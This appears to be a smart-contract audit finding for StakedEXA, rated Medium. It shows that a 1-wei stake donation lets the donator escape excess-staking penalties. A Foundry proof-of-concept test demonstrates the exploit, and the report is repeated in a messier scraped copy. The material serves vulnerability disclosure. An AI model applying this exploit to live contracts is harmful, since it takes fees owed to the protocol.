By making a negligible donation to another staked position, the donator can avoid excess staking penalties to their own position indefinitely, allowing them to retain peak profitability for inoptimal stake durations.
Vulnerability Detail
In the override of _update(address,address,uint256) in StakedEXA, we can see that when minting new vault shares, the sequence will attempt to claim partial rewards:
for (uint256 i = 0; i < rewardsTokens.length; ++i) {
IERC20 reward = rewardsTokens[i];
updateIndex(reward);
if (time > memRefTime) {
if (balance != 0) claimWithdraw(reward, to, balance);
avgIndexes[to][reward] = rewards[reward].index;
} else {
@> if (balance != 0) claim_(reward); /// @audit rewards_are_partially_claimed
uint256 numerator = avgIndexes[to][reward] * balance + rewards[reward].index * amount;
avgIndexes[to][reward] = numerator == 0 ? 0 : (numerator - 1) / total + 1;
}
}
Notice that when time < memRefTime, rewards for the caller are claimed via a call to claim_(address). The implementation of claim(address) is outlined below, and we have taken the opportunity to annotate all of the references to msg.sender made by the call:
The common case where the msg.sender indeed attempts to mint new vault shares to their own position.
When the msg.sender instead donates minted vault shares to a specified receiver address.
If we consider the donation case, we can determine that the logic of the _update(address,address,uint256) function will reference the to address (the recipient of the donated stake) meanwhile the claim_(address) function will reference the msg.sender (the donator).
/// @notice By making a small donation to a large staked, position,
/// @notice the penalties inflicted on excessive stakes are nullified.
/// @param immortalStakeEnabled Controls whether `c0ffee` evades excess staking penalties.
function testSherlockSubvertExcessStakingPenalities(
bool immortalStakeEnabled
) external {
/// @notice We'll use two addresses; `c0ffee` and `deadbeef`. Both
/// @notice accounts will start on equal-footing; they will make an
/// @notice equal-sized deposit at the exact same time:
address c0ffee = address(0xc0ffee);
address deadbeef = address(0xdeadbeef);
uint256 depositAmount = 1 ether;
vm.prank(c0ffee);
exa.approve(address(stEXA), type(uint256).max);
vm.prank(deadbeef);
exa.approve(address(stEXA), type(uint256).max);
exa.mint(c0ffee, depositAmount);
exa.mint(deadbeef, depositAmount);
vm.prank(c0ffee);
stEXA.deposit(depositAmount, c0ffee);
vm.prank(deadbeef);
stEXA.deposit(depositAmount, deadbeef);
/// @notice Here, we'll decide whether to execute the exploit. When
/// @notice enabled, `c0ffee` will make an insignificant donation of `1 wei`
/// @notice to `deadbeef`.
/// @notice Remember, this has to take place whilst the stake duration is less
/// @notice than the `refTime`:
skip(duration - 1);
if (immortalStakeEnabled /* grant_c0ffee_immortality */) {
uint256 attackAmount = 1 wei;
exa.mint(c0ffee, attackAmount);
vm.prank(c0ffee);
stEXA.deposit(attackAmount, deadbeef);
}
skip(1) /* optimal_stake_here */;
/// @notice Let's assume both positions are inoptimal and are
/// @notice not unstaked until long after the `refTime`. In this
/// @notice scenario, we should expect both accounts to suffer
/// @notice a penalty.
skip(1_000 weeks);
/// @notice Finally, let's have both accounts unstake and
/// @notice compare the results.
vm.startPrank(c0ffee);
stEXA.redeem(stEXA.balanceOf(c0ffee), c0ffee, c0ffee);
vm.stopPrank();
vm.startPrank(deadbeef);
stEXA.redeem(stEXA.balanceOf(deadbeef), deadbeef, deadbeef);
vm.stopPrank();
/// @audit Notice that when `c0ffee` attempts the immortal stake hack,
/// @audit regardless of how inoptimal their stake duration, they
/// @audit may retain peak profitability. `deadbeef`, by contrast,
/// @audit is subject to penalties as anticipated.
assertEq(exa.balanceOf(c0ffee), immortalStakeEnabled ? 500999929609020041241 : 256859374999997301400);
assertEq(exa.balanceOf(deadbeef), immortalStakeEnabled ? 256859374999997301399 : 256859374999997301400);
}
For these two equal stakes with inoptimal excess staking durations, let's compare the outcome:
Immortality?
deadbeef
c0ffee
Yes
256859374999997301399
500999929609020041241
No
256859374999997301400
256859374999997301400
As we can see, c0ffee's exploit has been effective at evading excess staking penalties.
Impact
Loss of due protocol fee accrual for economically-inefficient stakes.
cawfree
Medium
Stake Donation Evades Excess Staking Penalties
Summary
By making a negligible donation to another staked position, the donator can avoid excess staking penalties to their own position indefinitely, allowing them to retain peak profitability for inoptimal stake durations.
Vulnerability Detail
In the override of
_update(address,address,uint256)
inStakedEXA
, we can see that when minting new vault shares, the sequence will attempt to claim partial rewards:Notice that when
time < memRefTime
, rewards for the caller are claimed via a call toclaim_(address)
. The implementation ofclaim(address)
is outlined below, and we have taken the opportunity to annotate all of the references tomsg.sender
made by the call:Remember that this call to
claim_(address)
occurs within the internal_update(address,address,uint256)
hook override, which takes place during minting.Minting can occur in one of two scenarios:
msg.sender
indeed attempts to mint new vault shares to their own position.msg.sender
instead donates minted vault shares to a specifiedreceiver
address.If we consider the donation case, we can determine that the logic of the
_update(address,address,uint256)
function will reference theto
address (the recipient of the donated stake) meanwhile theclaim_(address)
function will reference themsg.sender
(the donator).In summary:
This discrepancy can ultimately be exploited.
StakedEXA.t.sol
For these two equal stakes with inoptimal excess staking durations, let's compare the outcome:
deadbeef
c0ffee
256859374999997301399
500999929609020041241
256859374999997301400
256859374999997301400
As we can see,
c0ffee
's exploit has been effective at evading excess staking penalties.Impact
Loss of due protocol fee accrual for economically-inefficient stakes.
Code Snippet
Tool used
Manual Review
Recommendation
Update the
claim(address)
function and fulfil starved data inputs.Duplicate of #21